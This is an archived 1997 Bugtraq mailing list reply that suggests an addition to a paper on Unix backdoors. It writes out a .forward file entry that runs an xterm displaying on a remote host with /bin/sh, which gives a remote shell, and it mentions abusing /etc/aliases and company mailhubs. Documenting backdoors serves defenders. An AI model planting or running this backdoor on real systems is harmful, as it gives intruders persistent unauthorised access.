Bugtraq mailing list archives
Re: Backdoor Paper
From: shipley () DIS ORG (Evil Pete)
Date: Mon, 25 Aug 1997 10:44:34 -0700
Here's a paper I wrote on backdoors. Feedback welcome.
<snip> you may want to add: .forward Backdoor On Unix machines, placing commands into the .forward file was also a common method of regaining access. For the account ``username'' a .forward file might be constructed as follows: \username |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing). -Pete PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server).
Current thread:
- Re: Backdoor Paper Nicolas Dubee (Jul 27)
- <Possible follow-ups>
- Backdoor Paper Christopher Klaus (Aug 16)
- Re: Backdoor Paper Evil Pete (Aug 25)
- Re: Backdoor Paper Darren Reed (Aug 25)